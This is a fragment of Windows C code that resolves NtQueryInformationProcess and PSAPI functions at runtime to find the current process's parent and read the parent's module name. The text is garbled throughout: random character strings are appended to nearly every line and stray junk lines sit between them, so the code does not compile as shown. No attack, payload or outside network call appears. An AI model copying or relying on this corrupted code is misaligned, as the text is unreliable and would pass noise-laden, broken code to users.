} PROCESS_BASIC_INFORMATION; Fzt?M
&(32s! qH
PROCNTQSIP NtQueryInformationProcess; NW 2`)e'
^eO/?D8~h
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b.\xPb
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ).(y#zJ7P
-<5{wQE;|
HANDLE hProcess; GQCdB>
PROCESS_BASIC_INFORMATION pbi; 'x"(OdM:[
a@qc?
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >{:hadUH
if(NULL == hInst ) return 0; udLI AV*
6j6;lNUc
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fxr#T'i
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {N/%%O.b
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \#B<'J9.`
iQ2j ejd3(
if (!NtQueryInformationProcess) return 0; S
>CKm:7
%Pt){9b
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |m
?ZE:
if(!hProcess) return 0; fHH
Rc1k_fZ}
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 650qG$
?8GS*I
CloseHandle(hProcess); g; ]'
PRTjXq6)5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 324XoMO
if(hProcess==NULL) return 0; &g^*ep~|#
<.gDg?'3
HMODULE hMod; GfEWms8z
char procName[255]; pe+h8
unsigned long cbNeeded; GbL1<P$V
9jEH"`qqk
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L*A-&9.p3
$$&.}}.,
CloseHandle(hProcess); b"N!#&O